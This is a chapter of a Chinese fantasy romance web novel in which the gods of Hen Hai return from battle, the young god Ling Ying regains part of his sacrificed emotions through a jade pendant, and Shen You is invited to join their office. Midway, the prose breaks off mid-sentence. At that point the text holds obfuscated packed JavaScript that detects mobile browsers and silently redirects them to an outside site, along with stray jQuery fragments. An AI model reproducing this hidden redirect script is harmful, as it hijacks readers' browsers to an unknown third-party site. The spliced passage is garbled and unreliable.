恨海的天空不再是压抑的墨黑,劫后余生的微光为翻涌的浪潮镀上了一层柔和的银边。众神的身影带着疲惫与释然,陆续出现在熟悉的宫殿前。空间涟漪平息,将魔界的血腥与污秽彻底隔绝在外。
申由几乎是踉跄着踏出传送的余波,玄色斗篷裹着他依旧苍白的脸。心脏处那撕裂灵魂的剧痛已经退去了大半,只剩残余的酸胀感。他下意识地抬手按了按胸口,眉头微蹙,目光却不由自主地飘向几步之外那道火红的身影——荔娅正指挥着田蓼采菲小心翼翼地将昏迷的樊娀安置在榻上。
一个念头悄然滋生。他见过她为恨海文书焦头烂额,见过她因轮回真相崩溃,见过她浴血奋战……却极少见到她为自己流露关切。那在魔殿角落为他无措、为他动怒的模样,像烙印一般留在他心底,久久不去。鬼使神差地,他扶着殿门旁冰冷的石柱,身体微微佝偻下去,发出一声压抑的、恰到好处的闷哼,眉头锁得更紧,仿佛那代价的余威仍在无情肆虐。
荔娅闻声立刻转头。绿眸扫过申由按着胸口的手和紧蹙的眉峰,瞬间染上了担忧。她快步走来,无视了周遭的忙碌,在他面前站定。
“申由?心脏还疼?”她目光灼灼,又似乎有些苦恼,“怎样才能舒服一些?”
申由抬眼,撞进她盛满关切的绿瞳里。那里面映着他的影子,清晰得让他心尖发颤。
怎样才能舒服一点?答案就在嘴边——看着她,只要看着她,那点残余的不适就微不足道,仿佛被暖阳熨帖。但他无法宣之于口。他垂下眼帘,避开那过于直白的目光,声音刻意放得低沉而虚弱:
“嗯……比刚才好些,但……还是难受。这反噬……只能靠时间,慢慢等它过去。”
“等?”荔娅的眉头拧了起来,似乎在评判这个方案的效率。下一秒,她做出了一个让申由心脏真正停跳半拍的动作。
她用自己的手掌覆盖住了他按在心口的手背。
“我陪你一起等。”她的声音清脆而坚定,没有丝毫扭捏。
他全身的血液似乎瞬间凝固,又在下一秒疯狂奔涌,直冲头顶。他能清晰地感觉到她掌心的纹路,感觉到自己胸腔下那颗心脏在短暂的沉寂后,开始以失控的速度狂跳,撞击着两人交叠的手掌。惊涛骇浪般的情绪在他黑眸深处翻腾——狂喜、难以置信、受宠若惊……所有情绪最终化为一片滚烫的混沌。
他反手,小心地回握住了那只覆在他心口的手。指尖微微收拢,仿佛抓住了失而复得的稀世珍宝。
“好。”一个字,却蕴含着千钧的重量。所有的算计、所有的试探,在这一刻都显得苍白无力,只剩下掌心这份滚烫的真实。
而殿内另一侧,则是截然不同的紧张氛围。
“让开让开!药来了!”田蓼端着一碗氤氲着浓郁生命气息的翠绿色药汁,拨开围在樊娀身边的共菽和吕隼。采菲紧随其后,指尖跳跃着柔和的治疗神光,小心翼翼地探入樊娀体内,梳理着她被魔气震荡的神魂。”樊娀姐姐的神力消耗过度,神魂震荡……还好,本源无碍。”采菲松了口气。
众人的目光旋即焦灼地投向旁边。灵霙被安置在一张铺着洁白云絮的榻上。
束荷的冰蓝神力如同最精密的刻刀,试图冻结并剥离他身上残留的、属于歃冥契约的冰冷气息。伯蒲的紫眸星光狂闪,指尖在空中划出玄奥的轨迹,强大的空间稳定力场笼罩着灵霙,防止他体内两股冲突的力量彻底崩坏他的神躯。
纫兰眉头紧锁,手中一枚鸽卵大小、流光溢彩的“养魂玉”正散发出温润的光晕,源源不断地滋养着灵霙干涸的神魂,她嘴里还不停念叨:“这契约之力真是霸道……天倪!把我那个鎏金蕴神炉点上安魂香!快!”天倪立刻像上了发条一样忙碌起来。
子飞半跪在玉榻边,掌心温和浩瀚的银色神力如同涓涓细流,持续不断地注入灵霙体内,试图唤醒那被冰冷契约覆盖的本真意识,她的眼神充满了痛惜。
“灵霙,听到吗?回家了,大家都好好的……”
然而,玉榻上的少年依旧双目紧闭。他周身弥漫着一股非人的漠然,仿佛一尊失去了所有情感色彩的精美玉雕,对子飞的呼唤和众神的努力毫无反应。
“没用的。”
一个苍老而中气十足的声音响起,带着洞悉一切的沧桑感。众人循声望去,只见主案上那杆古朴的杆秤——枕石帝君。
“歃冥的灵魂契约,老夫当年在神魔古战场领教过。霸道绝伦,以献祭此生爱恨为代价,换取契约者留存的力量。契约一旦成立,被抽走的爱恨便归契约之主所有,融入其力量本源,牢不可破。”
子飞的心猛地沉了下去:“难道……灵霙他……”
“但是!”枕石帝君的声音陡然拔高,“歃冥那老魔头,千年前就被骨力吞噬得渣都不剩了!他的力量本源早已溃散于天地!灵霙献祭的爱恨,失去了契约之主的吸纳,不可能凭空消失!它们必定有最后一小部分逸散在歃冥最后力量消散之地——也就是魔界骸骨大殿的某个角落!”
希望的火苗瞬间在众神眼中点燃。
“那还等什么!”伯蒲猛地站起,紫眸中战意重燃,“杀回魔界!掘地三尺也要把小家伙的爱恨找回来!”
“对!杀回去!”田蓼采菲握紧了拳头。
“本小姐的法器正好没地方用!”纫兰扬起了下巴。
共菽吕隼也神色凝重地点头,准备再次披挂上阵。
恨海众神瞬间同仇敌忾,神力与斗志再次升腾,殿内气氛剑拔弩张,只待一声令下便重返魔渊。
就在这蓄势待发的时刻,一个极其缓慢、如同老旧的齿轮艰难转动的声音,微弱却清晰地响起:
“不,必。”
是樊娀。她不知何时竟悠悠转醒,虽然脸色依旧苍白如纸,眼神也带着大病初愈的茫然,但她的指尖,正极其缓慢、却无比精准地指向灵霙腰间悬挂的一块玉佩。
那玉佩古朴温润,雕刻着神界祥云的纹样,正是郗流帝女留给他的唯一念想。
“玉佩。”樊娀的声音断断续续,却十分肯定,“玉佩,护住,边角。其他,换取,歃冥,魔力。它,在,呼唤,回流。”
所有的目光瞬间聚焦在那块的玉佩上。
子飞第一个反应过来。她小心翼翼地解下玉佩,捧在手心。束荷的冰蓝神力、伯蒲的星光、子飞的银色神力,三位上神的力量同时温柔地探入玉佩之中。
嗡——
玉佩骤然爆发出柔和而璀璨的七彩光芒。
不再是冰冷的契约暗金,而是充满了灵霙独特气息的光芒——橙黄是对恨海的眷恋,银白是对子飞的敬爱,冰蓝与深紫是对束荷伯蒲的亲近,嫩绿与粉红是对田蓼采菲的感激,鎏金与墨蓝是对纫兰天倪的复杂情愫,土黄与深褐是对共菽吕隼的孺慕。最为炽烈、如同破晓之光般的暖白色光束,是为荔娅,他视若唯一的光。最后,还有一道微弱、带着释然与歉意的浅灰色光芒,是为申由。
无数道代表着灵霙此生最珍贵情感的光流,如同归巢的倦鸟,从玉佩中喷薄而出,带着细微的、如同叹息又似欢鸣的声响,涌向榻上那具冰冷躯壳的眉心。
光芒持续涌入,灵霙的身体开始微微颤抖。那层笼罩着他的、非人的漠然冰壳,如同春日融雪般,肉眼可见地消融、剥落。
终于,他长长的睫毛颤动了几下,缓缓睁开。
那双赤红的瞳孔,重新映入了恨海宫殿的穹顶,映入了围在榻边那一张张写满焦急、关切与狂喜的脸庞。
那双眼睛里的神采,与从前截然不同了。曾经如同小动物般纯净、时而怯懦时而炽热的灵动光芒消失了,取而代之的是一种……平静的、略带疏离的茫然。仿佛隔着一层磨砂的琉璃在看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968630|177757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世界,所有的色彩和情感都变得朦胧而遥远。
他对感情的感知变得十分微弱,毕竟大部分用于换取歃冥之前击败骨力的力量。但还是比毫无感情要好得太多。
他眨了眨眼,目光缓缓扫过众人,最后落在紧紧握着他手的子飞脸上。他张了张嘴,声音有些干涩沙哑,语调平直得没有一丝起伏:
“子飞上神。大家都在。我睡了很久。”他试图扯出一个笑容,那弧度却显得极其僵硬而陌生,如同初次学习表情的孩童。“契约完成。骨力死了。”他其实是想要表达询问,但是十分生硬,最终所有的疑问变成了陈述。
他感受到了子飞掌心传来的温暖,感受到了周围投来的目光,但他内心却像一片无风的湖泊,再也无法掀起曾经那样澎湃的波澜。那些浓烈的爱、深刻的敬、隐秘的妒、炽热的慕……都变得模糊而遥远,如同隔岸观火。他记得它们存在过,记得它们指向谁,却再也无法真切地体验到那份温度。
子飞眼中瞬间蓄满了泪水,紧紧握着他的手,声音哽咽:“回来就好……灵霙,回来就好……”她知道,那个会脸红、会哭泣、会因荔娅一句肯定而雀跃的小兔子,终究是有一部分,永远留在了那个冰冷的契约里。
申由看着灵霙平静却空洞的眼神,不舍地松开一直与荔娅交握的手,走到灵霙榻前,伸出手,轻轻拍了拍他的肩膀。
“灵霙,干得漂亮。”这是战友的认可,也是对他的无声接纳。
灵霙感受着肩上的重量,看着申由眼中那份理解的平静,茫然地点了点头:“谢谢。申由前辈。”语调依旧平直,却少了曾经的敌意。
一切,似乎终于尘埃落定。疲惫、悲伤、释然、庆幸……复杂的情绪在恨海宫殿里弥漫。
荔娅看着申由走向灵霙的背影,又低头看了看自己刚刚被他松开、仿佛还残留着他体温的手掌。她深吸一口气,绿眸中闪过一丝狡黠和前所未有的明朗。她大步走到申由身边,无视了还在围着灵霙嘘寒问暖的众神,清脆的声音响彻大殿:
“申由!”
申由闻声回头。
荔娅脸上绽放出一个灿烂的笑容。她伸出手指,指向恨海文书殿的方向,语气带着不容拒绝的邀请和一丝“终于逮到你”的得意:
“恨海处百废待兴,正缺人手!你本事这么大,又熟悉神魔两边的事务,要不要干脆……来恨海工作?”她的绿眸亮晶晶地,充满期待地看着他。
申由愣住了。他看着荔娅那双盛满笑意和真诚邀请的绿眼睛,看着她身后那些闻声转过头来、脸上纷纷露出惊喜和赞同神色的恨海众神。
一股前所未有的暖流瞬间冲散了所有疲惫和代价的余韵,涌遍申由的四肢百骸。他仿佛看到了千年前溱水畔那个引弓射雉、生机勃勃的小豹子,也看到了此刻向他伸出手、邀请他共筑未来的恨海上神。他再也不用在神魔的夹缝中踽踽独行,再也不用隐藏自己的心意。这里,有她,有他们,就是他的归处。
他脸上的错愕迅速化为一个无比真实、无比愉悦、仿佛卸下所有重担的笑容,深邃的黑眸中星光点点,郑重地颔首:
“固所愿也,不敢请耳。”他微微躬身,行了一个标准的、带着敬意的神礼,再抬头时,声音清晰而坚定,“能成为恨海处的一员,是申由的荣幸。”
“好耶!欢迎申由!”田蓼采菲第一个跳起来鼓掌。
“总算多了个能干的!”纫兰嘀咕着,嘴角却翘了翘。
“欢迎。”子飞的声音温和而有力。
束荷微微颔首。伯蒲则夸张地张开双臂:“欢迎加入!”
连靠在榻上的樊娀也慢悠悠地、露出了一个浅浅的微笑。
在众神热烈的欢迎声中,申由直起身,目光再次与荔娅含笑的目光在空中交汇。无需言语,千年的恩怨纠缠,尽在这一笑之中化为默契的相守。